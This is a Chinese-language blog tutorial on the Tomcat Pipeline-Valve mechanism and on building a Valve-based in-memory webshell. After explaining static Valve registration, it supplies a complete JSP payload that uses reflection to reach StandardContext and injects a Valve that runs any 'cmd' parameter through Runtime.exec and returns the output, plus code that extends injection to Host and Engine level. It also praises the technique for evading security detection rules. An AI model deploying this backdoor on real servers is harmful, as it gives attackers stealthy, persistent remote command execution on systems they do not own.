原理分析 | Valve —— Tomcat 特有内存马

0 阅读9分钟

原理分析 | Valve —— Tomcat 特有内存马

Tomcat 特有,比 Filter 更底层、更隐蔽。


目录


一、什么是 Valve?

Valve 是 Tomcat Pipeline-Valve 管道机制的一部分,属于 Tomcat 特有的概念,不属于 Servlet 规范。

类比:请求处理的"高速公路收费口"

为了方便理解这几种内存马的层级关系,用高速公路来类比一下:

  • Listener:像高速公路入口的感应线圈(车一过就记录,不干预)。
  • Filter:像安检闸机(可以拦车、检查、放行)。
  • Valve:像高速公路上的隧道阀门,位于整个系统的最底层,所有车都必须经过它,而且它可以修改车的路线甚至把车"吞掉"。

deepseek_mermaid_20260411_515112

每个容器(Engine / Host / Context / Wrapper) 都有自己的 Pipeline,里面可以添加多个 Valve。


二、Pipeline 是什么?

  • 一句话解释:Pipeline 是 Tomcat 容器内部的一个处理链,里面可以按顺序放多个 Valve(阀门),请求会像水流一样依次流过这些阀门。

  • 每个容器实例(Engine、Host、Context、Wrapper)都有一个 Pipeline 对象,这是 Tomcat 架构的固定设计。

  • 即使不添加任何自定义 Valve,Pipeline 也至少包含一个 基础阀门(basic),用于完成容器的核心任务(比如调用子容器、处理 Servlet)。

  • 可以通过 pipeline.addValve(valve) 添加任意多个自定义 Valve,它们会按照添加顺序依次执行(先添加的先执行)。

请求的大致流转路径是:Engine → Host → Context → Wrapper 的 Valve 管道,最后才到 Servlet。也正因为如此,Valve 比 Filter 更早触发(在 Context 级别甚至更早),而且可以拦截所有请求(包括静态资源、404 等),不需要任何 URL 映射

Filter、Servlet、Listener 都属于 Context 级别(即一个 Web 应用内部),而 Valve 可以加在 Engine、Host、Context、Wrapper 任意一层。


三、Valve 在 Pipeline 中是"单向链表"

请求 → [Valve A][Valve B][Valve C][基础阀门] → Servlet

需要注意的点:

  • 每个 Valve 的 invoke 方法中必须调用 getNext().invoke(request, response),否则请求链会中断(后面的 Valve 和 Servlet 都不会执行)。这个和 Filter 里的 chain.doFilter(request, response) 作用一模一样

  • 添加过多 Valve 会影响性能,但内存马场景一般只加 1 个。

  • Valve 是全局生效的:添加到 Engine 的 Valve 会影响所有 Host 下的所有应用;添加到 Context 的 Valve 只影响当前 Web 应用。

  • 拿到容器的 Pipeline 对象(通过反射获取 StandardContext、StandardHost 等),就可以直接调用 addValve() 方法,而且该方法通常是 public 的,不需要反射破解


四、Valve 与 Filter 的关键区别

特性ValveFilter
是否 Servlet 规范❌ Tomcat 特有✅ 规范定义
触发层级容器级(Engine/Host/Context)应用级(Context 内)
能否跨 Web 应用能(Engine/Host 级别 Valve 可影响所有应用)不能(只拦截注册的应用)
需要映射 URL 模式否(自动全局拦截)是(需配置 /* 等)
隐蔽性更高(不常见于检测规则)较高(但已是重点查杀对象)

五、静态注册 Valve

静态注册是 Tomcat 管理员配置全局功能的标准方式,不需要写任何 Java 代码(除了 Valve 实现类本身)。先搞清楚静态注册的流程,对后面理解动态注入也有帮助。

步骤 1:编写一个简单的 Valve 实现类

创建一个 Java 项目,写一个类实现 org.apache.catalina.Valve 接口。

Valve 是一个接口,实现它就必须实现接口中定义的所有抽象方法,即使不需要某个方法的功能,也要提供一个最简单的实现(比如空方法或返回默认值),否则编译就会报错。

import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;

// 实现 Valve 接口,表明这是一个阀门组件。
public class MyStaticValve implements Valve {
    // 关键:存储下一个阀门,没有这个字段,链条就断了。
    private Valve next;

    @Override
    public void invoke(Request request, Response response) throws ServletException, IOException {
        // 自定义逻辑,这里是打印请求 URI,可以替换成任何代码(如执行命令、记录日志、修改响应)。
        System.out.println("[StaticValve] Request URI: " + request.getRequestURI());
        // 放行请求,继续执行下一个 Valve
        getNext().invoke(request, response);
    }

    @Override
    // 返回 false 表示这个阀门不支持异步处理。如果阀门内部没有异步逻辑,保持 false 即可。
    public boolean isAsyncSupported() {
        return false;
    }

    @Override
    // 这两个方法必须正确配合,否则链条会断。
    public void setNext(Valve valve) {
        this.next = valve; // 保存 Tomcat 传进来的下一个阀门
    }

    @Override
    public Valve getNext() {
        return this.next; // 返回保存的下一个阀门
    }

    @Override
    // Tomcat 会周期性地调用这个方法,执行一些后台任务(比如清理过期资源)。不需要的话留空即可。
    public void backgroundProcess() {
        // 可空实现
    }
}
补充:异步处理是什么?
  • 同步:请求进入 invoke 方法后,必须等 getNext().invoke() 返回,整个请求才算处理完。这是默认方式。

  • 异步:在 invoke 中,可以启动一个新线程去处理业务,然后立即返回 invoke(不调用 getNext()),让 Tomcat 线程不被阻塞。这需要阀门设置 isAsyncSupported() { return true; },并且后续还要处理异步完成时的回调。

对于内存马来说,几乎不需要异步,保持 return false 即可。


步骤 2:编译并打包成 JAR

切换到正确的编译目录(对于包 com.demo,源文件的根目录是 src/main/java):

cd E:\WWW\Valve\src\main\java

javac -encoding UTF-8 -cp "E:\WWW\apache-tomcat-9.0.117\lib\catalina.jar;E:\WWW\apache-tomcat-9.0.117\lib\servlet-api.jar" com\demo\MyStaticValve.java

几个注意点:

  • -cpclasspath(类路径)的缩写,作用是告诉 Java 编译器去哪里查找用户自定义的类(以及第三方库)

  • MyStaticValve.java 中引用了 Tomcat 的 ValveRequestResponse 等类(位于 catalina.jar),以及 ServletException(位于 servlet-api.jar),所以编译时必须通过 -cp 指定这些依赖的位置,否则编译器会报"找不到符号"的错误。

  • classpath 分隔符在 Windows 上是分号 ;,在 Linux 上是冒号 :

  • 如果有编码问题,加上 -encoding UTF-8 参数。

  • catalina.jar 是 Tomcat 核心库的固定文件名,不能改名,确保路径指向正在使用的 Tomcat 9 的 lib 目录。

编译完成后打包成 JAR:

jar cvf myvalve.jar com\demo\MyStaticValve.class

步骤 3:将 JAR 放入 Tomcat 的 lib 目录

copy myvalve.jar E:\WWW\apache-tomcat-9.0.117\lib\


步骤 4:修改 conf/server.xml

配置文件路径:E:\WWW\apache-tomcat-9.0.117\conf\server.xml

先了解一下 server.xml 的层级结构(Valve 只能在 Engine、Host、Context 里添加):

<Server>(最顶层,代表整个 Tomcat 实例)
└─ <Service>(服务,包含一个 Engine 和多个 Connector)
   └─ <Engine>(引擎,处理所有请求,可包含多个 Host)
      └─ <Host>(虚拟主机,例如 localhost,可包含多个 Context)
         └─ <Context>(可选,代表一个 Web 应用)

找到 <Engine name="Catalina" defaultHost="localhost"> 标签,在里面添加:

<Valve className="com.demo.MyStaticValve" />

写法 <Valve className="..." /> 等价于 <Valve className="..."></Valve>,但更简洁。


步骤 5:重启 Tomcat


步骤 6:验证

访问任意 URL,控制台会输出 [StaticValve] Request URI: /xxx


六、动态注入(内存马核心)

原理简述

通过熟悉的反射获取 StandardContext,然后:

  1. 调用 standardContext.getPipeline().addValve(Valve) 添加自定义 Valve。
  2. 在 Valve 的 invoke 方法中解析 cmd 参数,执行命令。
  3. 将命令结果通过 response 直接回显到浏览器。
  4. 调用 getNext().invoke(request, response) 放行请求,保证正常业务不受影响。

与 Filter 内存马相比,注入 Valve 不需要操作 FilterDefsFilterMaps 那些结构,只需拿到 Pipeline 对象直接 addValve() 就行,注入步骤更少,也更简单

Payload(JSP)

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>

<%
// 防止重复注入。application 是 JSP 的隐式对象,可以存储一些属性(键值对)
if (application.getAttribute("valveEchoInjected") == null) {

    // 从 request 里获取 servletContext
    // 这里的 request 是 JSP 的隐式对象,可以直接用
    // 匿名类里的代码只能用传入的参数对象
    ServletContext servletContext = request.getSession().getServletContext();

    // 两次反射获取 StandardContext
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    // 构造匿名 Valve
    Valve maliciousValve = new Valve() {
        private Valve next;

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            // 匹配参数,GET 和 POST 都可以
            String cmd = request.getParameter("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                try {
                    // 执行系统命令
                    Process process = Runtime.getRuntime().exec(cmd);
                    // 处理命令的输出
                    java.io.BufferedReader reader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream())
                    );
                    String line;
                    StringBuilder output = new StringBuilder();
                    while ((line = reader.readLine()) != null) {
                        output.append(line).append("\n");
                    }
                    // 有 response 可以直接回显到浏览器
                    response.setContentType("text/plain");
                    response.getWriter().write("Command: " + cmd + "\nOutput:\n" + output.toString());
                    response.flushBuffer();
                    // 如果有 cmd 参数就只显示命令结果,不会显示原来的页面
                    return;
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            // 没有 cmd 参数时,放行正常业务
            getNext().invoke(request, response);
        }

        @Override public boolean isAsyncSupported() { return false; }
        @Override public void setNext(Valve valve) { this.next = valve; }
        @Override public Valve getNext() { return this.next; }
        @Override public void backgroundProcess() { }
    };

    // 往 standardContext 里注册 Valve,非常简单,不用反射
    standardContext.getPipeline().addValve(maliciousValve);

    // 设置标志,表示已经注入过了
    application.setAttribute("valveEchoInjected", true);

    // 输出总数 + 每个阀门的类名
    Valve[] valves = standardContext.getPipeline().getValves();
    out.println("Valve (echo) injected. Total valves: " + valves.length + "<br>");
    out.println("Valve list:<br>");
    for (Valve v : valves) {
        out.println("&nbsp;&nbsp;- " + v.getClass().getName() + "<br>");
    }
} else {
    out.println("Valve already injected.");
}
%>

验证效果

访问 http://localhost:8080/inject.jsp,可以看到注入成功,列出了当前 Pipeline 中所有的 Valve:

中间那个就是我们自己注入的,其他的是 Tomcat 自带的。

再次访问时会提示已经存在,防止多次注入:

然后访问任意路径带上 cmd 参数即可执行命令:

http://localhost:8080/任意?cmd=whoami


七、Valve 的层级扩展(Engine / Host 级别注入)

上面的动态注入代码只添加到了 Context 级别(当前 Web 应用)。如果想要影响范围更广,可以向上取父容器,注入到 Host 或 Engine 级别:

// 获取 Host(向上取父容器)
Container host = standardContext.getParent();
if (host instanceof StandardHost) {
    ((StandardHost) host).getPipeline().addValve(maliciousValve);
}

// 继续向上获取 Engine
Container engine = host.getParent();
if (engine instanceof StandardEngine) {
    ((StandardEngine) engine).getPipeline().addValve(maliciousValve);
}

作用范围不同,Engine 最广,Host 次之,Context 最窄。实战中根据需要选择,注入 Engine 级别隐蔽性更高,但也更容易影响正常业务,需要谨慎。


八、四种内存马对比总结

把 Filter、Servlet、Listener、Valve 四种内存马的核心特性放在一张表格里,方便对比选择:

类型是否 Servlet 规范触发层级是否需要 URL 映射回显是否方便注入复杂度隐蔽性
Filter✅ 是Context需要 /*直接
Servlet✅ 是Context需要具体路径直接
Listener✅ 是Context不需要需要反射低(注入)高(回显)
Valve❌ 否(Tomcat 特有)Engine/Host/Context不需要直接

总结

Valve 内存马是 Tomcat 内存马里隐蔽性相对最高的一种,核心优势在于:

  1. 不属于 Servlet 规范,很多安全产品的检测规则覆盖不到。
  2. 无需 URL 映射,任何请求都会经过,不像 Filter 还得配 /*
  3. 注入步骤少,反射拿到 StandardContext 后直接 addValve() 就行,不需要操作 FilterDefs 那些复杂结构。
  4. 可以加在多个层级,灵活控制影响范围。

整个内存马系列到这里,Filter → Servlet → Listener → Valve 四种方式都过了一遍,后面还有 Agent 内存马,原理上又是不同的思路,到时候再写。